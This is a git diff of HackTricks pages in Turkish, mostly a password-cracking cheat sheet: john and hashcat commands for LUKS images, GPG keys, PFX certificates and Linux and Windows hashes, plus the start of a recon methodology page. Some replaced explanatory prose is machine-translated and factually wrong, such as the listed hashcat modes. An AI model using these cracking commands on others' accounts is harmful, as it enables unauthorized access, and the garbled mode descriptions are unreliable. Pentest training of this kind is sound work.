-Brute force, doğru olanı bulana kadar tüm olası kombinasyonları sistemli bir şekilde deneyerek şifreleri veya şifrelemeleri kırmak için kullanılan bir tekniktir. Zaman alıcı bir yöntem olmasına rağmen, şifre zayıf ise veya şifreleme algoritması savunmasız ise etkili olabilir.
-
-There are different types of brute force attacks, including:
-
-Brute force saldırılarının farklı türleri vardır, bunlar:
-
-- **Online brute force**: In this type of attack, the hacker tries different combinations of passwords or encryption keys directly on the target system or application. This method requires a direct connection to the target and can be easily detected and blocked by security measures such as account lockouts or rate limiting.
-
-- **Çevrimiçi brute force**: Bu saldırı türünde, hacker şifreleri veya şifreleme anahtarlarını doğrudan hedef sistem veya uygulamada farklı kombinasyonlarla dener. Bu yöntem, hedefe doğrudan bir bağlantı gerektirir ve hesap kilitlenmeleri veya hız sınırlamaları gibi güvenlik önlemleri tarafından kolayca tespit edilebilir ve engellenebilir.
-
-- **Offline brute force**: In this type of attack, the hacker obtains a copy of the encrypted data and performs the brute force attack offline, without direct access to the target system. This can be done by stealing a password hash database or capturing encrypted network traffic. Offline brute force attacks are usually more difficult to detect and can take longer to crack the password or encryption.
-
-- **Çevrimdışı brute force**: Bu saldırı türünde, hacker şifrelenmiş verilerin bir kopyasını elde eder ve brute force saldırısını doğrudan hedef sistemine erişim olmadan çevrimdışı olarak gerçekleştirir. Bu, bir şifre hash veritabanını çalmak veya şifrelenmiş ağ trafiğini yakalamak suretiyle yapılabilir. Çevrimdışı brute force saldırıları genellikle daha zor tespit edilir ve şifre veya şifreleme kırılması daha uzun sürebilir.
-
-To protect against brute force attacks, it is important to use strong and unique passwords, implement account lockouts or rate limiting, and use multi-factor authentication. Additionally, using strong encryption algorithms and regularly updating software can help mitigate the risk of brute force attacks.
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
@@ -1112,14 +706,6 @@ Başka bir Luks BF öğretici: [http://blog.dclabs.com.br/2020/03/bruteforcing-l
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
### PGP/GPG Özel Anahtarı
-
-PGP (Pretty Good Privacy) veya GPG (GNU Privacy Guard) özel anahtarı, şifreleme ve dijital imza işlemlerinde kullanılan bir anahtardır. Bu anahtar, kullanıcının kimliğini doğrulamak ve iletişimi güvence altına almak için kullanılır.
-
-Özel anahtar, genellikle bir dosya veya metin biçiminde saklanır. Bu anahtara sahip olan kişi, şifrelenmiş mesajları çözebilir ve dijital imzaları doğrulayabilir. Bu nedenle, özel anahtarın güvenli bir şekilde saklanması ve yetkisiz erişimden korunması önemlidir.
-
-Brute force saldırısı, bir saldırganın tüm olası anahtar kombinasyonlarını deneyerek özel anahtarı bulmaya çalıştığı bir saldırı yöntemidir. Bu saldırı yöntemi, güçlü bir şifreleme algoritması kullanıldığında oldukça zorlu hale gelir. Ancak, zayıf bir şifreleme algoritması veya zayıf bir özel anahtar kullanıldığında, brute force saldırıları daha etkili olabilir.
-
-Brute force saldırılarına karşı korunmanın en iyi yolu, güçlü bir şifreleme algoritması kullanmak ve özel anahtarın güvenliğini sağlamaktır. Özel anahtarın güvenli bir şekilde saklanması için şifrelenmiş bir dosya veya donanım cüzdanı kullanılabilir. Ayrıca, güçlü bir şifre seçmek ve özel anahtarı yetkisiz erişimden korumak için çift faktörlü kimlik doğrulama gibi ek güvenlik önlemleri almak da önemlidir.
```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
@@ -1128,15 +714,15 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
-### DPAPI Anahtarını Kırmak
+### DPAPI Anahtar
-[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresinden DPAPI anahtarını kırmak için DPAPImk2john.py aracını indirin ve ardından john aracını kullanın.
+[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresini kullanın ve ardından john'u çalıştırın
### Open Office Şifre Korumalı Sütun
-Eğer bir xlsx dosyasında bir sütun şifre ile korunuyorsa, şifreyi kaldırabilirsiniz:
+Eğer bir xlsx dosyasında bir şifre ile korunan bir sütun varsa, şu adımları izleyebilirsiniz:
-* **Google Drive'a yükleyin** ve şifre otomatik olarak kaldırılacaktır.
+* **Google Drive'a yükleyin** ve şifre otomatik olarak kaldırılacaktır
* **Manuel olarak** kaldırmak için:
```bash
unzip file.xlsx
@@ -1147,31 +733,17 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV
zip -r file.xls .
```
### PFX Sertifikaları
-
-PFX sertifikaları, genellikle Windows işletim sistemlerinde kullanılan bir sertifika formatıdır. PFX, kişisel bilgisayarlar ve sunucular arasında güvenli iletişimi sağlamak için kullanılır. PFX sertifikaları, genellikle bir özel anahtar ve ilgili bir kamu anahtarını içerir.
-
-PFX sertifikalarını kırmak veya çözmek için brute force saldırıları kullanılabilir. Brute force saldırıları, tüm olası kombinasyonları deneyerek şifreyi tahmin etmeye çalışır. Bu saldırılar genellikle zaman alıcıdır, çünkü şifrenin karmaşıklığına bağlı olarak çok sayıda deneme yapılması gerekebilir.
-
-PFX sertifikalarını kırmak için kullanılan bazı brute force araçları şunlardır:
-
-- Hydra: Çoklu protokol desteği olan bir brute force aracıdır.
-- Medusa: Çoklu protokol desteği olan bir brute force aracıdır.
-- John the Ripper: Şifre kırma ve brute force saldırıları için popüler bir araçtır.
-
-PFX sertifikalarını kırmak için brute force saldırıları gerçekleştirirken, güçlü bir şifre listesi kullanmak önemlidir. Şifre listesi, yaygın kullanılan şifreleri, kelime listelerini ve diğer olası şifre kombinasyonlarını içermelidir.
-
-Brute force saldırıları, PFX sertifikalarını kırmak için kullanılan bir yöntem olmasına rağmen, bu saldırıların başarı şansı şifrenin karmaşıklığına bağlıdır. Güçlü ve karmaşık bir şifre kullanarak PFX sertifikalarınızı korumak önemlidir.
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
-Bugün Erişim Alın:
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -1193,13 +765,13 @@ hash-identifier
### **Kelime Listesi Oluşturma Araçları**
-* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Yapılandırılabilir temel karakterler, tuş haritası ve rotaları olan gelişmiş klavye dolaşımı üreteci.
+* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Yapılandırılabilir temel karakterler, tuş haritası ve rotalar ile gelişmiş klavye-tarama oluşturucusu.
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
### John mutasyonu
-_**/etc/john/john.conf**_ dosyasını okuyun ve yapılandırın.
+_**/etc/john/john.conf**_ dosyasını okuyun ve yapılandırın
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
@@ -1208,15 +780,15 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
#### Hashcat saldırıları
-* **Wordlist saldırısı** (`-a 0`) kurallarla birlikte
+* **Kelime listesi saldırısı** (`-a 0`) kurallarla
-**Hashcat**, zaten **kurallar içeren bir klasörle birlikte gelir** ancak [**burada başka ilginç kurallar bulabilirsiniz**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
+**Hashcat**, zaten **kurallar içeren bir klasörle** birlikte gelir ancak [**burada başka ilginç kurallar bulabilirsiniz**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
-* **Kelime listesi birleştirme** saldırısı
+* **Kelime listesi kombinasyonu** saldırısı
-Hashcat ile 2 kelime listesi **birleştirilebilir**.\
+Hashcat ile **2 kelime listesi birleştirilebilir**.\
Eğer 1. liste **"hello"** kelimesini içeriyorsa ve ikinci liste **"world"** ve **"earth"** kelimelerini içeriyorsa, `helloworld` ve `helloearth` kelimeleri oluşturulacaktır.
```bash
# This will combine 2 wordlists
@@ -1260,7 +832,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
-* Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) saldırısı
+* Kelime listesi + Maske (`-a 6`) / Maske + Kelime listesi (`-a 7`) saldırısı
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@@ -1269,178 +841,80 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Hashcat modları
-
-Hashcat, çeşitli şifre kırma modlarıyla kullanılabilir. Aşağıda, Hashcat'in desteklediği bazı temel modlar açıklanmaktadır:
-
-- **0**: Boş mod. Bu mod, Hashcat'in hiçbir şifre kırma işlemi yapmadığı anlamına gelir.
-- **100**: WPA/WPA2 modu. Bu mod, WPA veya WPA2 şifrelerini kırmak için kullanılır.
-- **2500**: WPA/WPA2 PMKID modu. Bu mod, WPA veya WPA2 PMKID'leri kırmak için kullanılır.
-- **3000**: LM modu. Bu mod, Windows LM hash'lerini kırmak için kullanılır.
-- **500**: MD5 modu. Bu mod, MD5 hash'leri kırmak için kullanılır.
-- **900**: SHA1 modu. Bu mod, SHA1 hash'leri kırmak için kullanılır.
-- **1000**: NTLM modu. Bu mod, Windows NTLM hash'leri kırmak için kullanılır.
-- **1400**: SHA256 modu. Bu mod, SHA256 hash'leri kırmak için kullanılır.
-- **1700**: SHA512 modu. Bu mod, SHA512 hash'leri kırmak için kullanılır.
-
-Bu sadece bazı temel modlardır ve Hashcat, farklı hash algoritmalarını ve şifreleme yöntemlerini destekleyen daha fazla mod sunar.
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
-# Linux Hashleri Kırma - /etc/shadow Dosyası
+## Brute Forcing
-Linux sistemlerde kullanıcı parolaları `/etc/shadow` dosyasında saklanır. Bu dosya, kullanıcı adları ve parolalarıyla ilgili hash değerlerini içerir. Bu bölümde, `/etc/shadow` dosyasındaki hash değerlerini kırmak için kullanılan bazı yöntemleri öğreneceksiniz.
+### Introduction
-## 1. Brute Force Saldırısı
+Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm as the one used in Linux to create the password hashes. These generated hashes are then compared with the target hash from the `/etc/shadow` file to find a match.
-Brute force saldırısı, tüm olası kombinasyonları deneyerek doğru parolayı bulmaya çalışan bir saldırı türüdür. Linux hashlerini kırmak için brute force saldırısı kullanabilirsiniz. Bu saldırı türü, bir wordlist (kelime listesi) veya karakter seti kullanarak parola tahminlerinde bulunur.
+### Tools
-### Wordlist Kullanarak Brute Force
+There are various tools available for performing brute force attacks on Linux hashes. Some popular tools include John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques for cracking passwords, making them versatile options for password cracking.
-Wordlist tabanlı brute force saldırısı, önceden oluşturulmuş bir kelime listesini kullanarak parola tahminlerinde bulunur. Bu kelime listesi, yaygın kullanılan parolaları, sözlük kelimelerini ve diğer olası parola kombinasyonlarını içerir.
+### Methodology
-```bash
-$ john --wordlist=wordlist.txt hash.txt
-```
+1. **Obtain the Hash**: First, you need to obtain the hash of the password you want to crack from the `/etc/shadow` file on the target Linux system.
-### Karakter Seti Kullanarak Brute Force
+2. **Select a Tool**: Choose a suitable password cracking tool based on the hash algorithm used in the target system.
-Karakter seti tabanlı brute force saldırısı, belirli bir karakter setini kullanarak parola tahminlerinde bulunur. Bu saldırı türü, belirli bir uzunlukta tüm kombinasyonları deneyerek parolayı bulmaya çalışır.
+3. **Generate Password List**: Create a list of potential passwords to be used in the brute force attack. This list can be generated based on common passwords, dictionary words, or custom rules.
-```bash
-$ john --incremental hash.txt
-```
+4. **Perform Brute Force Attack**: Use the selected tool to systematically hash the passwords from the generated list and compare them with the target hash. If a match is found, the password has been successfully cracked.
-## 2. Rainbow Table Saldırısı
+### Conclusion
-Rainbow table saldırısı, önceden hesaplanmış hash değerlerini içeren bir tabloyu kullanarak parolaları kırmaya çalışır. Bu tablo, hash değerleri ve bunlara karşılık gelen orijinal parolaları içerir. Rainbow table saldırısı, brute force saldırısına göre daha hızlıdır, ancak daha fazla depolama alanı gerektirir.
-
-```bash
-$ rcracki_mt -h hash.txt -t rainbow_table.rt
-```
-
-## 3. GPU Tabanlı Saldırılar
-
-GPU tabanlı saldırılar, grafik işlemcilerin (GPU) paralel hesaplama yeteneklerini kullanarak hash değerlerini kırmaya çalışır. Bu saldırı türü, brute force veya rainbow table saldırılarını hızlandırmak için kullanılabilir.
-
-```bash
-$ hashcat -m 500 hash.txt wordlist.txt
-```
-
-Yukarıdaki komut, hashcat aracını kullanarak brute force saldırısı yapar. `-m 500` parametresi, Linux SHA-512 hashlerini belirtir.
-
-## 4. Online Hash Kırma Servisleri
-
-Bazı çevrimiçi hash kırma servisleri, hash değerlerini kırmak için bulut tabanlı hesaplama gücünü kullanır. Bu servisler, kullanıcıların hash değerlerini yüklemelerine ve kırılmış parolaları alabilmelerine olanak tanır.
-
-- [CrackStation](https://crackstation.net/)
-- [HashKiller](https://hashkiller.co.uk/)
-- [OnlineHashCrack](https://www.onlinehashcrack.com/)
-
-Bu servisler, güvenlik ve gizlilik açısından dikkatli kullanılmalıdır. Hash değerlerinizin üçüncü taraflar tarafından ele geçirilme riski olduğunu unutmayın.
-
-## 5. Parola Yeniden Ayarlama
-
-Eğer root erişimine sahipseniz, `/etc/shadow` dosyasındaki hash değerlerini kırmak yerine parolaları sıfırlayabilirsiniz. Bu, kullanıcıların parolalarını yeniden ayarlamalarını gerektirir.
-
-```bash
-$ passwd username
-```
-
-Yukarıdaki komutu kullanarak, belirli bir kullanıcının parolasını sıfırlayabilirsiniz. `username` parametresini hedef kullanıcının adıyla değiştirin.
-
-## 6. Diğer Yöntemler
-
-Linux hashlerini kırmak için başka yöntemler de mevcuttur. Bunlar, hash türüne, sistem yapılandırmasına ve kullanılabilir kaynaklara bağlı olarak değişebilir. Ayrıca, hash cracking araçlarının belirli bir hash türünü destekleyip desteklemediğini kontrol etmek önemlidir.
-
-Bu bölümde, Linux sistemlerdeki `/etc/shadow` dosyasındaki hash değerlerini kırmak için kullanılan bazı genel yöntemleri öğrendiniz. Ancak, unutmayın ki hash kırma işlemi yasa dışı olabilir ve yalnızca yasal izinlerle gerçekleştirilmelidir.
+Brute forcing Linux hashes from the `/etc/shadow` file can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, it is possible to crack passwords and gain unauthorized access to a Linux system. It is essential for system administrators to use strong, unique passwords and implement additional security measures to protect against brute force attacks.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
-# Windows Hash'lerini Kırmak
+# Brute Force
-Windows işletim sistemlerinde kullanılan parola hash'lerini kırmak, bir hedefin parolasını elde etmek için yaygın bir yöntemdir. Bu bölümde, Windows hash'lerini kırmak için kullanılan bazı teknikleri öğreneceksiniz.
+## Introduction
-## 1. Brute Force Saldırıları
+Brute force is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Windows hashes, brute force can be used to crack the LM and NTLM hashes of Windows user passwords.
-Brute force saldırıları, tüm olası kombinasyonları deneyerek parola hash'ini kırmaya çalışan saldırı türleridir. Bu saldırılar, güçlü bir hesap parolası kullanılmadığında oldukça etkili olabilir.
+## Tools
-### 1.1. Wordlist Tabanlı Brute Force
+There are several tools available for performing brute force attacks on Windows hashes, including:
-Wordlist tabanlı brute force saldırıları, önceden oluşturulmuş bir kelime listesini kullanarak parola hash'ini kırmayı amaçlar. Bu yöntem, kullanıcıların yaygın olarak kullandığı veya tahmin edilebilecek parolaları hedef alır.
+- **John the Ripper**: A popular password cracking tool that can be used to crack Windows hashes.
+- **Hashcat**: Another powerful password cracking tool that supports cracking Windows hashes.
+- **CrackMapExec**: A post-exploitation tool that can be used to perform brute force attacks on Windows systems.
-Örnek komut:
+## Methodology
-```plaintext
-hashcat -m
-```
+To crack Windows hashes using brute force, follow these general steps:
-### 1.2. Mask Tabanlı Brute Force
+1. Obtain the Windows hashes from the target system.
+2. Use a password cracking tool such as John the Ripper or Hashcat to perform a brute force attack on the hashes.
+3. Analyze the results to identify the cracked passwords.
-Mask tabanlı brute force saldırıları, belirli bir desene dayalı olarak parola hash'ini kırmayı amaçlar. Bu yöntem, kullanıcının parola oluşturma alışkanlıklarını tahmin etmek için kullanılabilir.
+## Conclusion
-Örnek komut:
-
-```plaintext
-hashcat -m -a 3 '?l?l?l?l?l?l?l'
-```
-
-## 2. Rainbow Tabloları
-
-Rainbow tabloları, önceden hesaplanmış parola hash'lerinin depolandığı ve hızlı bir şekilde eşleştirme yapılmasını sağlayan tablolardır. Bu yöntem, brute force saldırılarından daha hızlı sonuçlar elde etmek için kullanılabilir.
-
-Örnek komut:
-
-```plaintext
-rtgen
-```
-
-## 3. Parola Kırma Araçları
-
-Parola kırma araçları, Windows hash'lerini kırmak için kullanılan özel yazılımlardır. Bu araçlar, farklı saldırı yöntemlerini destekleyerek daha hızlı ve etkili bir şekilde parola hash'lerini kırabilir.
-
-Örnek araçlar:
-
-- Hashcat
-- John the Ripper
-- Cain & Abel
-
-Bu teknikleri kullanarak Windows hash'lerini kırabilir ve hedefin parolasını elde edebilirsiniz. Ancak, bu işlem yasa dışı olabilir ve yalnızca yasal izinlerle gerçekleştirilmelidir.
+Brute force attacks can be an effective way to crack Windows hashes and recover user passwords. However, they can be time-consuming and resource-intensive, so it's important to use them judiciously and consider other password cracking techniques as well.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
-# Ortak Uygulama Hash'lerini Kırmak
+# Kaba Kuvvet Saldırısı
-Bir uygulamanın kimlik doğrulama işlemi sırasında kullanılan hash algoritması, saldırganlar için bir zayıflık olabilir. Bu bölümde, yaygın olarak kullanılan uygulama hash'lerini kırmak için kullanılan bazı teknikleri ele alacağız.
+Kaba kuvvet saldırısı, şifrelenmiş verileri çözmek için kullanılan bir yöntemdir. Genellikle, şifrelenmiş bir metin veya hash değeri üzerinde tüm olası kombinasyonları deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı türü, yaygın uygulama hash'lerini kırmak için sıkça kullanılır.
-## 1. Brute Force Saldırıları
+## Yöntemler
-Brute force saldırıları, tüm olası kombinasyonları deneyerek hash'i kırmayı amaçlar. Bu saldırı türü, zayıf veya tahmin edilebilir parolalar kullanıldığında etkili olabilir. Saldırganlar, genellikle yaygın parola listeleri veya özel olarak oluşturulmuş parola kombinasyonları kullanarak bu saldırıyı gerçekleştirir.
+Kaba kuvvet saldırıları genellikle şu yöntemlerle gerçekleştirilir:
-## 2. Sözlük Saldırıları
+- **Sözlük Saldırısı:** Önceden belirlenmiş bir kelime listesini kullanarak şifreleri denemek.
+- **Rastgele Saldırı:** Tüm olası kombinasyonları deneyerek şifreyi bulmaya çalışmak.
+- **Hibrit Saldırı:** Sözlük saldırısı ve rastgele saldırının bir kombinasyonu.
-Sözlük saldırıları, belirli bir sözlük dosyasındaki kelimeleri veya kelime kombinasyonlarını kullanarak hash'i kırmayı amaçlar. Saldırganlar, genellikle yaygın parola listelerini veya özel olarak oluşturulmuş sözlük dosyalarını kullanır. Bu saldırı türü, kullanıcıların zayıf veya yaygın parolalar kullanma eğiliminde olduğu durumlarda etkili olabilir.
-
-## 3. Rainbow Table Saldırıları
-
-Rainbow table saldırıları, önceden hesaplanmış hash değerlerini içeren bir tabloyu kullanarak hash'i kırmayı amaçlar. Saldırganlar, genellikle büyük bir veritabanı olan rainbow table'ları kullanır. Bu tablolar, hash değerlerini ve bunlara karşılık gelen orijinal metinleri içerir. Saldırganlar, hedef hash'i tabloda aratarak orijinal metni elde etmeye çalışır.
-
-## 4. Parola Çalma Saldırıları
-
-Parola çalma saldırıları, kullanıcıların parolalarını doğrudan ele geçirmeyi amaçlar. Saldırganlar, kullanıcıların parolalarını çalmak için çeşitli yöntemler kullanabilir, örneğin phishing, keylogger veya sosyal mühendislik gibi teknikler.
-
-## 5. GPU Hızlandırma
-
-GPU hızlandırma, grafik işlemcilerin (GPU'lar) paralel işleme yeteneklerini kullanarak hash kırma sürecini hızlandırır. Saldırganlar, özel olarak tasarlanmış GPU tabanlı hash kırma araçlarını kullanarak hash'leri daha hızlı bir şekilde kırabilir.
-
-## 6. Hash Kırma Araçları
-
-Hash kırma araçları, farklı hash algoritmalarını kırmak için kullanılan yazılımlardır. Bu araçlar, brute force, sözlük saldırıları, rainbow table saldırıları ve diğer teknikleri destekleyebilir. Örnek olarak, John the Ripper, Hashcat ve Hydra gibi popüler hash kırma araçları bulunmaktadır.
-
-Hash kırma işlemi, hash algoritmasının karmaşıklığına, kullanılan donanıma ve saldırganın kaynaklarına bağlı olarak değişebilir. Güçlü ve karmaşık parolalar kullanmak, hash kırma saldırılarına karşı korunmanın en iyi yollarından biridir.
+Kaba kuvvet saldırıları genellikle zaman alıcı olabilir, ancak etkili olabilirler. Güçlü ve karmaşık şifreler kullanarak bu tür saldırılardan korunmak önemlidir.
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
@@ -1452,22 +926,22 @@ Hash kırma işlemi, hash algoritmasının karmaşıklığına, kullanılan dona
```
-Sıfırdan kahraman olmak için AWS hacklemeyi öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md
index 37b860ec6..61960f743 100644
--- a/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -6,47 +6,47 @@
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
+Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Varlıkların Keşfi
-> Dolayısıyla, bazı şirkete ait olan her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz.
+> Dolayısıyla, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz.
Bu aşamanın amacı, **ana şirkete ait olan tüm şirketleri** elde etmek ve ardından bu şirketlerin tüm **varlıklarını** elde etmektir. Bunun için şunları yapacağız:
1. Ana şirketin satın almalarını bulmak, bu bize kapsamda olan şirketleri verecektir.
-2. Her şirketin **ASN'sini** bulmak (varsa), bu bize her şirketin sahip olduğu IP aralıklarını verecektir.
-3. İlkini aramak için ters whois aramalarını kullanarak diğer girişleri (kuruluş adları, alan adları...) aramak (bu rekürsif olarak yapılabilir)
-4. Diğer teknikleri kullanmak, örneğin shodan `org` ve `ssl` filtrelerini kullanarak diğer varlıkları aramak (`ssl` hilesi rekürsif olarak yapılabilir).
+2. Her şirketin ASN'sini bulmak (varsa), bu bize her şirketin sahip olduğu IP aralıklarını verecektir.
+3. Diğer girişleri (kuruluş adları, alan adları...) aramak için ters whois aramalarını kullanmak (bu rekürsif olarak yapılabilir)
+4. Shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanarak diğer varlıkları aramak (`ssl` hilesi rekürsif olarak yapılabilir).
### **Satın Almalar**
Öncelikle, **ana şirkete ait olan diğer şirketleri** bilmemiz gerekiyor.\
-Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com)'e gidip **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
+Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) sitesini ziyaret etmek, **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Burada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır.
> Tamam, bu noktada kapsamda olan tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlayalım.
### **ASN'ler**
